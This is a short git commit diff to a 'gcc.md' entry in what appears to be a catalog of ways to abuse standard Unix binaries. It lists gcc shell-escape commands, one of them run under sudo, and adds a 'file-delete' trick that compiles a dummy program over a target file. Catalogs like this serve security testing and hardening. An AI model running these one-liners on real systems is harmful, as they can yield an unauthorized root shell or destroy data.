Update gcc.md

delete a file with gcc
This commit is contained in:
LinuxSploit 2021-04-06 03:19:18 -04:00 committed by Andrea Cardaci
parent 33d93b2bcd
commit 51e8892fec

View File

@ -8,4 +8,7 @@ functions:
- code: gcc -wrapper /bin/sh,-s . - code: gcc -wrapper /bin/sh,-s .
sudo: sudo:
- code: sudo gcc -wrapper /bin/sh,-s . - code: sudo gcc -wrapper /bin/sh,-s .
file-delete:
- code: |
echo "int main(){printf(\" Hello \");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .
--- ---